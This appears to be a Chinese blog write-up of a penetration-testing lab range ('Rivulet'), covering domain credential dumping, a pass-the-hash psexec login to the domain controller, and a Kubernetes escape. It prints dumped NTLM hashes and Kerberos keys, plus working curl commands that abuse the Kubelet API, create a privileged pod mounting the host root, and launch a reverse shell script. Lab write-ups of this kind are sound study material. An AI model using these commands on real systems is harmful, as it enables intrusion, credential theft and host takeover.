MICHA.COM\test:aes128-cts-hmac-sha1-96:ac886fa94cb837b7fa3f10c82a5710e5
MICHA.COM\test:des-cbc-md5:6d54e062f820cbf7
MICHA.COM\zarihow:aes256-cts-hmac-sha1-96:add8c3e4bdf87174ef19d92b4de0d2ccd8971309818de2fdbcf3e702da44e69f
MICHA.COM\zarihow:aes128-cts-hmac-sha1-96:4054860d871050a7b16236b8098177c5
MICHA.COM\zarihow:des-cbc-md5:b9f7b3c14cb0e3c8
N1tols:aes256-cts-hmac-sha1-96:5274665254da90b8bb9613b3603ac83c162e8b08e226d5f4f296fbe064464e64
N1tols:aes128-cts-hmac-sha1-96:3365fe6e5e0af93ad8c0e94d3b481025
N1tols:des-cbc-md5:685e5415070b492f
DC01$:aes256-cts-hmac-sha1-96:36a44602533c6fc34dcc89a72a8b091f9008a395d610a04bf4abaa6bc4ad4d25
DC01$:aes128-cts-hmac-sha1-96:22ee53c81de965c9600a481f0d2c9577
DC01$:des-cbc-md5:8089465de38ce304
WIN-R4DDIB9732K$:aes256-cts-hmac-sha1-96:0e6e5e0a9f3c4f15f9bde89906e7b28d596b6c0b83abb0e1a5f2b8a1ed85ca65
WIN-R4DDIB9732K$:aes128-cts-hmac-sha1-96:53e3077738700216984b33bc9246a215
WIN-R4DDIB9732K$:des-cbc-md5:83adf47fbf01a1e5
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
Exception ignored in: <function Registry.__del__ at 0x7f1cbaebbc40>
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 185, in __del__
  File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 182, in close
  File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 360, in close
  File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 605, in closeFile
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB
  File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC
  File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 232, in new
KeyError: 'Cryptodome.Cipher.AES'
Exception ignored in: <function Registry.__del__ at 0x7f1cbaebbc40>
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 185, in __del__
  File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 182, in close
  File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 360, in close
  File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 605, in closeFile
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB
  File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC
  File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 232, in new
KeyError: 'Cryptodome.Cipher.AES'

可以看到两个管理员，但其实是两个完全不同账户的哈希，只是它们刚好都叫 Administrator。

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)    第一阶段：本地SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4c9c203faedca105cff2eefc0bd4cb18:::
...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)   第二阶段：域数据库
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:015f5d04d14d053508d14ac11d6496bb:::

项目	第一个哈希 (来自 `SAM`)	第二个哈希 (来自 `NTDS`)
来源	本地SAM数据库	域控的NTDS.dit数据库
账户类型	本地管理员 (这台机器自己的)	域管理员 (管理整个域的)
作用范围	仅限 `192.168.1.83` 这台机器	整个 `MICHA.COM` 域
哈希值	`4c9c203faedca105cff2eefc0bd4cb18`	`015f5d04d14d053508d14ac11d6496bb`

得到域控hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:015f5d04d14d053508d14ac11d6496bb:::

拿这个去登录

proxychains -q python3 psexec.py MICHA/Administrator@192.168.1.112 -hashes :015f5d04d14d053508d14ac11d6496bb

管理员桌面

总结一下

外网：jnid反弹shell回来，然后是个逃逸
k8s：通过Kubelet API窃取k8s CA证书，然后签发管理员证书，创建特权pods，通过这个特权pods逃逸出来，弹shell回来
DC：搭建代理之后直接永恒之蓝打DC，拿下hash之后横向域内主机
关于SQL那个其实后续都没有用到那些提取出来的账号密码，wp写的是非预期解

关于k8s

Kubelet 是什么

┌─────────────────────────────────────────────────────────────────┐
│                      K8s 节点架构                                │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│   ┌─────────────────────────────────────────────────────────┐   │
│   │                    宿主机 (Node)                         │   │
│   │   IP: 192.168.1.56                                      │   │
│   │                                                         │   │
│   │   ┌─────────────────────────────────────────────────┐   │   │
│   │   │            Kubelet (进程)                        │   │   │
│   │   │         监听端口: 10250                          │   │   │
│   │   │   作用: 管理这台机器上的所有 Pod                  │   │   │
│   │   │   接口: /pods, /run, /exec, /logs               │   │   │
│   │   └─────────────────────────────────────────────────┘   │   │
│   │                                                         │   │
│   │   ┌─────────────┐  ┌─────────────┐  ┌─────────────┐     │   │
│   │   │   Pod A     │  │   Pod B     │  │   Pod C     │     │   │
│   │   │ (你的容器)  │  │ (apiserver) │  │ (其他)      │     │   │
│   │   │ 172.17.0.2  │  │ 172.17.0.x  │  │             │     │   │
│   │   └─────────────┘  └─────────────┘  └─────────────┘     │   │
│   │                                                         │   │
│   └─────────────────────────────────────────────────────────┘   │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

核心理解：

Kubelet 是宿主机上的一个进程，负责管理这台机器上的所有容器
它监听 10250 端口，提供 REST API
这个 API 可以在任意 Pod 的任意容器里执行命令
关键是：容器内可以访问宿主机的 10250 端口（通过 172.17.0.1）

为什么能访问？

容器内访问 172.17.0.1 → 这是 Docker 默认的网关地址 → 实际上就是宿主机

在容器里执行 curl https://172.17.0.1:10250/pods，这个请求会直接发到宿主机的 Kubelet。

我们最开始是在Pod A，然后去访问 Kubelet 的 /pods 接口，返回了所有 Pod 的信息，发现了：

• 宿主机 IP 是 192.168.1.56 
• 有个叫 kube-apiserver-web 的 Pod 
• 这个 Pod 挂载了 /etc/kubernetes/pki（证书目录）

虽然我们在Pod A里面但是我们可以通过kubelet在其他Pod里面执行命令，然后去有证书的Pod里面偷到了管理员证书

得到证书之后去签发新证书，关于为什么不直接用这个偷来的证书是因为这个证书是给服务端用的，我们要的是客户端

颁发之后，代表：用户名admin，属于超级管理员组

我们拿着这个管理员证书去创建新的Pod

  curl --cert admin.crt --key admin.key \              
       -d '{"spec":{"containers":[{"securityContext":{ 
             "privileged": true,          ← 特权模式    
             "volumeMounts":[{"mountPath":"/host"}]    
           }],                                                
           "volumes":[{"hostPath":{"path":"/"}}]            
       }}'                                              
                                                      
这个新 Pod 把宿主机根目录挂载到了自己的 /host 目录

然后我们在这个新创建的Pod里面执行命令

比如
cat /host/etc/passwd    ← 读到的是宿主机的密码文件
cat /host/flag1         ← 拿到宿主机上的 flag

就相当于逃逸成功了

比如说我们创建了：

curl -k --cert admin.crt --key admin.key -X POST -H 'Content-Type: application/json' -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"test-pod","namespace":"default"},"spec":{"nodeName":"web","hostNetwork":true,"hostPID":true,"restartPolicy":"Never","containers":[{"name":"hostsh","image":"shiro-web:latest","imagePullPolicy":"IfNotPresent","command":["/bin/sh","-c","sleep 36000"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"hostroot","mountPath":"/host"}]}],"volumes":[{"name":"hostroot","hostPath":{"path":"/","type":"Directory"}}]}}' https://192.168.1.56:6443/api/v1/namespaces/default/pods

那么后续执行命令的话就是在这个新的Pod里面执行

curl -k -X POST -G --data-urlencode 'cmd=cat /host/flag1' 'https://172.17.0.1:10250/run/default/test-pod/hostsh'

后续把这个逃出来的shell反弹出来也是用这个Pod

curl -k -X POST -d 'cmd=chroot /host bash rev.sh' 'https://172.17.0.1:10250/run/default/test-pod/hostsh'

posted @ 2026-08-18 17:57 Anaxa 阅读(105) 评论(0) 收藏举报

刷新页面返回顶部

一个菜鸡的博客

Rivulet-春秋云镜

外网

k8s

192.168.1.123

192.168.1.83（DC）

192.168.1.112

关于k8s

公告